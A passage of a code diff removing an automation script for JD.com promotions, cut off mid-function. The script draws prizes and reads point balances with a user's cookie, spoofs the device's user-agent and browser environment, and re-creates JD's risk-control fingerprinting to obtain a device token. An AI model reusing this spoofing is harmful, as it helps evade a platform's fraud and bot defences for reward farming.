url:`https://jdjoy.jd.com/module/freshgoods/getActivityPage?code=${configCode}&friendPin=${encodeURIComponent(friendPin)}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - $.remainPoints = res.data.remainPoints - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} -function draw() { - return new Promise(resolve => { - let get = { - url:`https://jdjoy.jd.com/module/freshgoods/draw?code=${configCode}&eid=${$.eid}&fp=${$.fp}`, - headers: { - "Cookie": cookie, - "User-Agent": $.UA, - }, - timeout:30000 - } - $.get(get, async(err, resp, data) => { - try { - if (err) { - if(resp.statusCode && resp.statusCode == 493){ - console.log('此ip已被限制,请过10分钟后再执行脚本\n') - $.outFlag = true - } - console.log(`${$.toStr(err)}`) - console.log(`${$.name} cookie API请求失败,请检查网路重试`) - } else { - // console.log(data) - let res = $.toObj(data,data) - if(typeof res == 'object' && res.success && res.success === true){ - if(res.data){ - let msg = '' - msg = res.data.rewardNum || '' - if(res.data.rewardType == 1){ - msg += '京豆' - $.bean += Number(res.data.rewardNum) - }else if(res.data.rewardType == 4){ - msg += '心动值' - }else{ - msg = res.data.rewardName || data - } - console.log(`抽奖获得:${msg || '空气💨'}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve([]); - } - }) - }) -} - -function getEid(arr) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid - } else { - console.log(`京豆api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -async function getUA(){ - $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - -const navigator = { - userAgent: $.UA || '', - plugins: { length: 0 }, - language: "zh-CN", -}; -const screen = { - availHeight: 812, - availWidth: 375, - colorDepth: 24, - height: 812, - width: 375, - pixelDepth: 24, -}; -const window = {}; -const document = { - location: { - ancestorOrigins: {}, - href: "https://prodev.m.jd.com/mall/active/2wJsXk1FtEtvbdzZuiYWCLHrrTi8/index.htm", - origin: "https://prodev.m.jd.com", - protocol: "https:", - host: "prodev.m.jd.com", - hostname: "prodev.m.jd.com", - port: "", - pathname: "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", - search: "", - hash: "", - }, -}; -var start_time = new Date().getTime(), - _jdfp_canvas_md5 = "", - _jdfp_webgl_md5 = "", - _fingerprint_step = 1, - _JdEid = "", - _eidFlag = !1, - risk_jd_local_fingerprint = "", - _jd_e_joint_; - -function t(a) { - if (null == a || void 0 == a || "" == a) return "NA"; - if (null == a || void 0 == a || "" == a) var b = ""; - else { - b = []; - for (var c = 0; c < 8 * a.length; c += 8) - b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32; - } - a = 8 * a.length; - b[a >> 5] |= 128 << a % 32; - b[(((a + 64) >>> 9) << 4) + 14] = a; - a = 1732584193; - c = -271733879; - for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { - var z = a, - C = c, - D = l, - B = h; - a = v(a, c, l, h, b[q + 0], 7, -680876936); - h = v(h, a, c, l, b[q + 1], 12, -389564586); - l = v(l, h, a, c, b[q + 2], 17, 606105819); - c = v(c, l, h, a, b[q + 3], 22, -1044525330); - a = v(a, c, l, h, b[q + 4], 7, -176418897); - h = v(h, a, c, l, b[q + 5], 12, 1200080426); - l = v(l, h, a, c, b[q + 6], 17, -1473231341); - c = v(c, l, h, a, b[q + 7], 22, -45705983); - a = v(a, c, l, h, b[q + 8], 7, 1770035416); - h = v(h, a, c, l, b[q + 9], 12, -1958414417); - l = v(l, h, a, c, b[q + 10], 17, -42063); - c = v(c, l, h, a, b[q + 11], 22, -1990404162); - a = v(a, c, l, h, b[q + 12], 7, 1804603682); - h = v(h, a, c, l, b[q + 13], 12, -40341101); - l = v(l, h, a, c, b[q + 14], 17, -1502002290); - c = v(c, l, h, a, b[q + 15], 22, 1236535329); - a = x(a, c, l, h, b[q + 1], 5, -165796510); - h = x(h, a, c, l, b[q + 6], 9, -1069501632); - l = x(l, h, a, c, b[q + 11], 14, 643717713); - c = x(c, l, h, a, b[q + 0], 20, -373897302); - a = x(a, c, l, h, b[q + 5], 5, -701558691); - h = x(h, a, c, l, b[q + 10], 9, 38016083); - l = x(l, h, a, c, b[q + 15], 14, -660478335); - c = x(c, l, h, a, b[q + 4], 20, -405537848); - a = x(a, c, l, h, b[q + 9], 5, 568446438); - h = x(h, a, c, l, b[q + 14], 9, -1019803690); - l = x(l, h, a, c, b[q + 3], 14, -187363961); - c = x(c, l, h, a, b[q + 8], 20, 1163531501); - a = x(a, c, l, h, b[q + 13], 5, -1444681467); - h = x(h, a, c, l, b[q + 2], 9, -51403784); - l = x(l, h, a, c, b[q + 7], 14, 1735328473); - c = x(c, l, h, a, b[q + 12], 20, -1926607734); - a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); - h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); - l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); - c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); - a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); - h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); - l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); - c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); - a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); - h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); - l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); - c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); - a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); - h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); - l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); - c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); - a = w(a, c, l, h, b[q + 0], 6, -198630844); - h = w(h, a, c, l, b[q + 7], 10, 1126891415); - l = w(l, h, a, c, b[q + 14], 15, -1416354905); - c = w(c, l, h, a, b[q + 5], 21, -57434055); - a = w(a, c, l, h, b[q + 12], 6, 1700485571); - h = w(h, a, c, l, b[q + 3], 10, -1894986606); - l = w(l, h, a, c, b[q + 10], 15, -1051523); - c = w(c, l, h, a, b[q + 1], 21, -2054922799); - a = w(a, c, l, h, b[q + 8], 6, 1873313359); - h = w(h, a, c, l, b[q + 15], 10, -30611744); - l = w(l, h, a, c, b[q + 6], 15, -1560198380); - c = w(c, l, h, a, b[q + 13], 21, 1309151649); - a = w(a, c, l, h, b[q + 4], 6, -145523070); - h = w(h, a, c, l, b[q + 11], 10, -1120210379); - l = w(l, h, a, c, b[q + 2], 15, 718787259); - c = w(c, l, h, a, b[q + 9], 21, -343485551); - a = A(a, z); - c = A(c, C); - l = A(l, D); - h = A(h, B); - } - b = [a, c, l, h]; - a = ""; - for (c = 0; c < 4 * b.length; c++) - a += - "0123456789abcdef".charAt((b[c >> 2] >> ((c % 4) * 8 + 4)) & 15) + - "0123456789abcdef".charAt((b[c >> 2] >> ((c % 4) * 8)) & 15); - return a; -} - -function u(a, b, c, l, h, q) { - a = A(A(b, a), A(l, q)); - return A((a << h) | (a >>> (32 - h)), c); -} - -function v(a, b, c, l, h, q, z) { - return u((b & c) | (~b & l), a, b, h, q, z); -} - -function x(a, b, c, l, h, q, z) { - return u((b & l) | (c & ~l), a, b, h, q, z); -} - -function w(a, b, c, l, h, q, z) { - return u(c ^ (b | ~l), a, b, h, q, z); -} - -function A(a, b) { - var c = (a & 65535) + (b & 65535); - return (((a >> 16) + (b >> 16) + (c >> 16)) << 16) | (c & 65535); -} - -_fingerprint_step = 2; -var y = "", - n = navigator.userAgent.toLowerCase(); -n.indexOf("jdapp") && (n = n.substring(0, 90)); -var e = navigator.language, - f = n; --1 != f.indexOf("ipad") || - -1 != f.indexOf("iphone os") || - -1 != f.indexOf("midp") || - -1 != f.indexOf("rv:1.2.3.4") || - -1 != f.indexOf("ucweb") || - -1 != f.indexOf("android") || - -1 != f.indexOf("windows ce") || - f.indexOf("windows mobile"); -var r = "NA", - k = "NA"; -try { - -1 != f.indexOf("win") && - -1 != f.indexOf("95") && - ((r = "windows"), (k = "95")), - -1 != f.indexOf("win") && - -1 != f.indexOf("98") && - ((r = "windows"), (k = "98")), - -1 != f.indexOf("win 9x") && - -1 != f.indexOf("4.90") && - ((r = "windows"), (k = "me")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.0") && - ((r = "windows"), (k = "2000")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt") && - ((r = "windows"), (k = "NT")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.1") && - ((r = "windows"), (k = "xp")), - -1 != f.indexOf("win") && - -1 != f.indexOf("32") && - ((r = "windows"), (k = "32")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.1") && - ((r = "windows"), (k = "7")), - -1 != f.indexOf("win") && - -1 != f.indexOf("6.0") && - ((r = "windows"), (k = "8")), - -1 == f.indexOf("win") || - (-1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1")) || - ((r = "windows"), (k = "9")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 6.2") && - ((r = "windows"), (k = "10")), - -1 != f.indexOf("linux") && (r = "linux"), - -1 != f.indexOf("unix") && (r = "unix"), - -1 != f.indexOf("sun") && -1 != f.indexOf("os") && (r = "sun os"), - -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), - -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), - -1 != f.indexOf("aix") && (r = "aix"), - -1 != f.indexOf("powerpc") && (r = "powerPC"), - -1 != f.indexOf("hpux") && (r = "hpux"), - -1 != f.indexOf("netbsd") && (r = "NetBSD"), - -1 != f.indexOf("bsd") && (r = "BSD"), - -1 != f.indexOf("osf1") && (r = "OSF1"), - -1 != f.indexOf("irix") && ((r = "IRIX"), (k = "")), - -1 != f.indexOf("freebsd") && (r = "FreeBSD"), - -1 != f.indexOf("symbianos") && - ((r = "SymbianOS"), (k = f.substring(f.indexOf("SymbianOS/") + 10, 3))); -} catch (a) {} -_fingerprint_step = 3; -var g = "NA", - m = "NA"; -try { - -1 != f.indexOf("msie") && - ((g = "ie"), - (m = f.substring(f.indexOf("msie ") + 5)), - m.indexOf(";") && (m = m.substring(0, m.indexOf(";")))); - -1 != f.indexOf("firefox") && - ((g = "Firefox"), (m = f.substring(f.indexOf("firefox/") + 8))); - -1 != f.indexOf("opera") && - ((g = "Opera"), (m = f.substring(f.indexOf("opera/") + 6, 4))); - -1 != f.indexOf("safari") && - ((g = "safari"), (m = f.substring(f.indexOf("safari/") + 7))); - -1 != f.indexOf("chrome") && - ((g = "chrome"), - (m = f.substring(f.indexOf("chrome/") + 7)), - m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - -1 != f.indexOf("navigator") && - ((g = "navigator"), (m = f.substring(f.indexOf("navigator/") + 10))); - -1 != f.indexOf("applewebkit") && - ((g = "applewebkit_chrome"), - (m = f.substring(f.indexOf("applewebkit/") + 12)), - m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - -1 != f.indexOf("sogoumobilebrowser") && - (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); - if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) - g = "UC\u6d4f\u89c8\u5668"; - if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) - g = "QQ\u6d4f\u89c8\u5668"; - -1 != f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - -1 != f.indexOf("360se") && (g = "360\u6d4f\u89c8\u5668"); - -1 != f.indexOf("the world") && - (g = "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - -1 != f.indexOf("maxthon") && (g = "\u9068\u6e38\u6d4f\u89c8\u5668"); -} catch (a) {} - -class JdJrTdRiskFinger { - f = { - options: function () { - return {}; - }, - nativeForEach: Array.prototype.forEach, - nativeMap: Array.prototype.map, - extend: function (a, b) { - if (null == a) return b; - for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); - return b; - }, - getData: function () { - return y; - }, - get: function (a) { - var b = 1 * m, - c = []; - "ie" == g && 7 <= b - ? (c.push(n), - c.push(e), - (y = y + ",'userAgent':'" + t(n) + "','language':'" + e + "'"), - this.browserRedirect(n)) - : ((c = this.userAgentKey(c)), (c = this.languageKey(c))); - c.push(g); - c.push(m); - c.push(r); - c.push(k); - y = - y + - ",'os':'" + - r + - "','osVersion':'" + - k + - "','browser':'" + - g + - "','browserVersion':'" + - m + - "'"; - c = this.colorDepthKey(c); - c = this.screenResolutionKey(c); - c = this.timezoneOffsetKey(c); - c = this.sessionStorageKey(c); - c = this.localStorageKey(c); - c = this.indexedDbKey(c); - c = this.addBehaviorKey(c); - c = this.openDatabaseKey(c); - c = this.cpuClassKey(c); - c = this.platformKey(c); - c = this.hardwareConcurrencyKey(c); - c = this.doNotTrackKey(c); - c = this.pluginsKey(c); - c = this.canvasKey(c); - c = this.webglKey(c); - b = this.x64hash128(c.join("~~~"), 31); - return a(b); - }, - userAgentKey: function (a) { - a.push(navigator.userAgent), - (y = y + ",'userAgent':'" + t(navigator.userAgent) + "'"), - this.browserRedirect(navigator.userAgent); - return a; - }, - replaceAll: function (a, b, c) { - for (; 0 <= a.indexOf(b); ) a = a.replace(b, c); - return a; - }, - browserRedirect: function (a) { - var b = a.toLowerCase(); - a = "ipad" == b.match(/ipad/i); - var c = "iphone os" == b.match(/iphone os/i), - l = "midp" == b.match(/midp/i), - h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), - q = "ucweb" == b.match(/ucweb/i), - z = "android" == b.match(/android/i), - C = "windows ce" == b.match(/windows ce/i); - b = "windows mobile" == b.match(/windows mobile/i); - y = - a || c || l || h || q || z || C || b - ? y + ",'origin':'mobile'" - : y + ",'origin':'pc'"; - }, - languageKey: function (a) { - "" || - (a.push(navigator.language), - (y = - y + - ",'language':'" + - this.replaceAll(navigator.language, " ", "_") + - "'")); - return a; - }, - colorDepthKey: function (a) { - "" || - (a.push(screen.colorDepth), - (y = y + ",'colorDepth':'" + screen.colorDepth + "'")); - return a; - }, - screenResolutionKey: function (a) { - if (!this.options.excludeScreenResolution) { - var b = this.getScreenResolution(); - "undefined" !== typeof b && - (a.push(b.join("x")), - (y = y + ",'screenResolution':'" + b.join("x") + "'")); - } - return a; - }, - getScreenResolution: function () { - return this.options.detectScreenOrientation - ? screen.height > screen.width - ? [screen.height, screen.width] - : [screen.width, screen.height] - : [screen.height, screen.width]; - }, - timezoneOffsetKey: function (a) { - this.options.excludeTimezoneOffset || - (a.push(new Date().getTimezoneOffset()), - (y = - y + - ",'timezoneOffset':'" + - new Date().getTimezoneOffset() / 60 + - "'")); - return a; - }, - sessionStorageKey: function (a) { - !this.options.excludeSessionStorage && - this.hasSessionStorage() && - (a.push("sessionStorageKey"), (y += ",'sessionStorage':true")); - return a; - }, - localStorageKey: function (a) { - !this.options.excludeSessionStorage && - this.hasLocalStorage() && - (a.push("localStorageKey"), (y += ",'localStorage':true")); - return a; - }, - indexedDbKey: function (a) { - !this.options.excludeIndexedDB && - this.hasIndexedDB() && - (a.push("indexedDbKey"), (y += ",'indexedDb':true")); - return a; - }, - addBehaviorKey: function (a) { - document.body && - !this.options.excludeAddBehavior && - document.body.addBehavior - ? (a.push("addBehaviorKey"), (y += ",'addBehavior':true")) - : (y += ",'addBehavior':false"); - return a; - }, - openDatabaseKey: function (a) { - !this.options.excludeOpenDatabase && window.openDatabase - ? (a.push("openDatabase"), (y += ",'openDatabase':true")) - : (y += ",'openDatabase':false"); - return a; - }, - cpuClassKey: function (a) { - this.options.excludeCpuClass || - (a.push(this.getNavigatorCpuClass()), - (y = y + ",'cpu':'" + this.getNavigatorCpuClass() + "'")); - return a; - }, - platformKey: function (a) { - this.options.excludePlatform || - (a.push(this.getNavigatorPlatform()), - (y = y + ",'platform':'" + this.getNavigatorPlatform() + "'")); - return a; - }, - hardwareConcurrencyKey: function (a) { - var b = this.getHardwareConcurrency(); - a.push(b); - y = y + ",'ccn':'" + b + "'"; - return a; - }, - doNotTrackKey: function (a) { - this.options.excludeDoNotTrack || - (a.push(this.getDoNotTrack()), - (y = y + ",'track':'" + this.getDoNotTrack() + "'")); - return a; - }, - canvasKey: function (a) { - if (!this.options.excludeCanvas && this.isCanvasSupported()) { - var b = this.getCanvasFp(); - a.push(b); - _jdfp_canvas_md5 = t(b); - y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'"; - } - return a; - }, - webglKey: function (a) { - if (!this.options.excludeWebGL && this.isCanvasSupported()) { - var b = this.getWebglFp(); - _jdfp_webgl_md5 = t(b); - a.push(b); - y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'"; - } - return a; - }, - pluginsKey: function (a) { - this.isIE() - ? (a.push(this.getIEPluginsString()), - (y = y + ",'plugins':'" + t(this.getIEPluginsString()) + "'")) - : (a.push(this.getRegularPluginsString()), - (y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + "'")); - return a; - }, - getRegularPluginsString: function () { - return this.map( - navigator.plugins, - function (a) { - var b = this.map(a, function (c) { - return [c.type, c.suffixes].join("~"); - }).join(","); - return [a.name, a.description, b].join("::"); - }, - this - ).join(";"); - }, - getIEPluginsString: function () { - return window.ActiveXObject - ? this.map( - "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1".split( - ";" - ), - function (a) { - try { - return new ActiveXObject(a), a; - } catch (b) { - return null; - } - } - ).join(";") - : ""; - }, - hasSessionStorage: function () { - try { - return !!window.sessionStorage; - } catch (a) { - return !0; - } - }, - hasLocalStorage: function () { - try { - return !!window.localStorage; - } catch (a) { - return !0; - } - }, - hasIndexedDB: function () { - return true; - return !!window.indexedDB; - }, - getNavigatorCpuClass: function () { - return navigator.cpuClass ? navigator.cpuClass : "NA"; - }, - getNavigatorPlatform: function () { - return navigator.platform ? navigator.platform : "NA"; - }, - getHardwareConcurrency: function () { - return navigator.hardwareConcurrency - ? navigator.hardwareConcurrency - : "NA"; - }, - getDoNotTrack: function () { - return navigator.doNotTrack ? navigator.doNotTrack : "NA"; - }, - getCanvasFp: function () { - return ""; - var a = navigator.userAgent.toLowerCase(); - if ( - (0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && - (0 < a.indexOf("iphone") || 0 < a.indexOf("ipad")) - ) - return null; - a = document.createElement("canvas"); - var b = a.getContext("2d"); - b.fillStyle = "red"; - b.fillRect(30, 10, 200, 100); - b.strokeStyle = "#1a3bc1"; - b.lineWidth = 6; - b.lineCap = "round"; - b.arc(50, 50, 20, 0, Math.PI, !1); - b.stroke(); - b.fillStyle = "#42e1a2"; - b.font = "15.4px 'Arial'"; - b.textBaseline = "alphabetic"; - b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); - b.shadowOffsetX = 1; - b.shadowOffsetY = 2; - b.shadowColor = "white"; - b.fillStyle = "rgba(0, 0, 200, 0.5)"; - b.font = "60px 'Not a real font'"; - b.fillText("No\u9a97", 40, 80); - return a.toDataURL(); - }, - getWebglFp: function () { - var a = navigator.userAgent; - a = a.toLowerCase(); - if ( - (0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && - (0 < a.indexOf("iphone") || 0 < a.indexOf("ipad")) - ) - return null; - a = function (D) { - b.clearColor(0, 0, 0, 1); - b.enable(b.DEPTH_TEST); - b.depthFunc(b.LEQUAL); - b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); - return "[" + D[0] + ", " + D[1] + "]"; - }; - var b = this.getWebglCanvas(); - if (!b) return null; - var c = [], - l = b.createBuffer(); - b.bindBuffer(b.ARRAY_BUFFER, l); - var h = new Float32Array([ - -0.2, -0.9, 0, 0.4, -0.26, 0, 0, 0.732134444, 0, - ]); - b.bufferData(b.ARRAY_BUFFER, h, b.STATIC_DRAW); - l.itemSize = 3; - l.numItems = 3; - h = b.createProgram(); - var q = b.createShader(b.VERTEX_SHADER); - b.shaderSource( - q, - "attribute vec2 attrVertex;varying vec2 varyinTexCoordinate;uniform vec2 uniformOffset;void main(){varyinTexCoordinate=attrVertex+uniformOffset;gl_Position=vec4(attrVertex,0,1);}" - ); - b.compileShader(q); - var z = b.createShader(b.FRAGMENT_SHADER); - b.shaderSource( - z, - "precision mediump float;varying vec2 varyinTexCoordinate;void main() {gl_FragColor=vec4(varyinTexCoordinate,0,1);}" - ); - b.compileShader(z); - b.attachShader(h, q); - b.attachShader(h, z); - b.linkProgram(h); - b.useProgram(h); - h.vertexPosAttrib = b.getAttribLocation(h, "attrVertex"); - h.offsetUniform = b.getUniformLocation(h, "uniformOffset"); - b.enableVertexAttribArray(h.vertexPosArray); - b.vertexAttribPointer(h.vertexPosAttrib, l.itemSize, b.FLOAT, !1, 0, 0); - b.uniform2f(h.offsetUniform, 1, 1); - b.drawArrays(b.TRIANGLE_STRIP, 0, l.numItems); - null != b.canvas && c.push(b.canvas.toDataURL()); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("extensions:" + b.getSupportedExtensions().join(";")); - c.push("w1" + a(b.getParameter(b.ALIASED_LINE_WIDTH_RANGE))); - c.push("w2" + a(b.getParameter(b.ALIASED_POINT_SIZE_RANGE))); - c.push("w3" + b.getParameter(b.ALPHA_BITS)); - c.push("w4" + (b.getContextAttributes().antialias ? "yes" : "no")); - c.push("w5" + b.getParameter(b.BLUE_BITS)); - c.push("w6" + b.getParameter(b.DEPTH_BITS)); - c.push("w7" + b.getParameter(b.GREEN_BITS)); - c.push( - "w8" + - (function (D) { - var B, - F = - D.getExtension("EXT_texture_filter_anisotropic") || - D.getExtension("WEBKIT_EXT_texture_filter_anisotropic") || - D.getExtension("MOZ_EXT_texture_filter_anisotropic"); - return F - ? ((B = D.getParameter(F.MAX_TEXTURE_MAX_ANISOTROPY_EXT)), - 0 === B && (B = 2), - B) - : null; - })(b) - ); - c.push("w9" + b.getParameter(b.MAX_COMBINED_TEXTURE_IMAGE_UNITS)); - c.push("w10" + b.getParameter(b.MAX_CUBE_MAP_TEXTURE_SIZE)); - c.push("w11" + b.getParameter(b.MAX_FRAGMENT_UNIFORM_VECTORS)); - c.push("w12" + b.getParameter(b.MAX_RENDERBUFFER_SIZE)); - c.push("w13" + b.getParameter(b.MAX_TEXTURE_IMAGE_UNITS)); - c.push("w14" + b.getParameter(b.MAX_TEXTURE_SIZE)); - c.push("w15" + b.getParameter(b.MAX_VARYING_VECTORS)); - c.push("w16" + b.getParameter(b.MAX_VERTEX_ATTRIBS)); - c.push("w17" + b.getParameter(b.MAX_VERTEX_TEXTURE_IMAGE_UNITS)); - c.push("w18" + b.getParameter(b.MAX_VERTEX_UNIFORM_VECTORS)); - c.push("w19" + a(b.getParameter(b.MAX_VIEWPORT_DIMS))); - c.push("w20" + b.getParameter(b.RED_BITS)); - c.push("w21" + b.getParameter(b.RENDERER)); - c.push("w22" + b.getParameter(b.SHADING_LANGUAGE_VERSION)); - c.push("w23" + b.getParameter(b.STENCIL_BITS)); - c.push("w24" + b.getParameter(b.VENDOR)); - c.push("w25" + b.getParameter(b.VERSION)); - try { - var C = b.getExtension("WEBGL_debug_renderer_info"); - C && - (c.push("wuv:" + b.getParameter(C.UNMASKED_VENDOR_WEBGL)), - c.push("wur:" + b.getParameter(C.UNMASKED_RENDERER_WEBGL))); - } catch (D) {} - return c.join("\u00a7"); - }, - isCanvasSupported: function () { - return true; - var a = document.createElement("canvas"); - return !(!a.getContext || !a.getContext("2d")); - }, - isIE: function () { - return "Microsoft Internet Explorer" === navigator.appName || - ("Netscape" === navigator.appName && - /Trident/.test(navigator.userAgent)) - ? !0 - : !1; - }, - getWebglCanvas: function () { - return null; - var a = document.createElement("canvas"), - b = null; - try { - var c = navigator.userAgent; - c = c.toLowerCase(); - ((0 < c.indexOf("jdjr-app") || 0 <= c.indexOf("jdapp")) && - (0 < c.indexOf("iphone") || 0 < c.indexOf("ipad"))) || - (b = a.getContext("webgl") || a.getContext("experimental-webgl")); - } catch (l) {} - b || (b = null); - return b; - }, - each: function (a, b, c) { - if (null !== a) - if (this.nativeForEach && a.forEach === this.nativeForEach) - a.forEach(b, c); - else if (a.length === +a.length) - for ( - var l = 0, h = a.length; - l < h && b.call(c, a[l], l, a) !== {}; - l++ - ); - else - for (l in a) - if (a.hasOwnProperty(l) && b.call(c, a[l], l, a) === {}) break; - }, - map: function (a, b, c) { - var l = []; - if (null == a) return l; - if (this.nativeMap && a.map === this.nativeMap) return a.map(b, c); - this.each(a, function (h, q, z) { - l[l.length] = b.call(c, h, q, z); - }); - return l; - }, - x64Add: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] + b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] + b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] + b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] + b[0]; - c[0] &= 65535; - return [(c[0] << 16) | c[1], (c[2] << 16) | c[3]]; - }, - x64Multiply: function (a, b) { - a = [a[0] >>> 16, a[0] & 65535, a[1] >>> 16, a[1] & 65535]; - b = [b[0] >>> 16, b[0] & 65535, b[1] >>> 16, b[1] & 65535]; - var c = [0, 0, 0, 0]; - c[3] += a[3] * b[3]; - c[2] += c[3] >>> 16; - c[3] &= 65535; - c[2] += a[2] * b[3]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[2] += a[3] * b[2]; - c[1] += c[2] >>> 16; - c[2] &= 65535; - c[1] += a[1] * b[3]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[2] * b[2]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[1] += a[3] * b[1]; - c[0] += c[1] >>> 16; - c[1] &= 65535; - c[0] += a[0] * b[3] + a[1] * b[2] + a[2] * b[1] + a[3] * b[0]; - c[0] &= 65535; - return [(c[0] << 16) | c[1], (c[2] << 16) | c[3]]; - }, - x64Rotl: function (a, b) { - b %= 64; - if (32 === b) return [a[1], a[0]]; - if (32 > b) - return [ - (a[0] << b) | (a[1] >>> (32 - b)), - (a[1] << b) | (a[0] >>> (32 - b)), - ]; - b -= 32; - return [ - (a[1] << b) | (a[0] >>> (32 - b)), - (a[0] << b) | (a[1] >>> (32 - b)), - ]; - }, - x64LeftShift: function (a, b) { - b %= 64; - return 0 === b - ? a - : 32 > b - ? [(a[0] << b) | (a[1] >>> (32 - b)), a[1] << b] - : [a[1] << (b - 32), 0]; - }, - x64Xor: function (a, b) { - return [a[0] ^ b[0], a[1] ^ b[1]]; - }, - x64Fmix: function (a) { - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [4283543511, 3981806797]); - a = this.x64Xor(a, [0, a[0] >>> 1]); - a = this.x64Multiply(a, [3301882366, 444984403]); - return (a = this.x64Xor(a, [0, a[0] >>> 1])); - }, - x64hash128: function (a, b) { - a = a || ""; - b = b || 0; - var c = a.length % 16, - l = a.length - c, - h = [0, b]; - b = [0, b]; - for ( - var q, - z, - C = [2277735313, 289559509], - D = [1291169091, 658871167], - B = 0; - B < l; - B 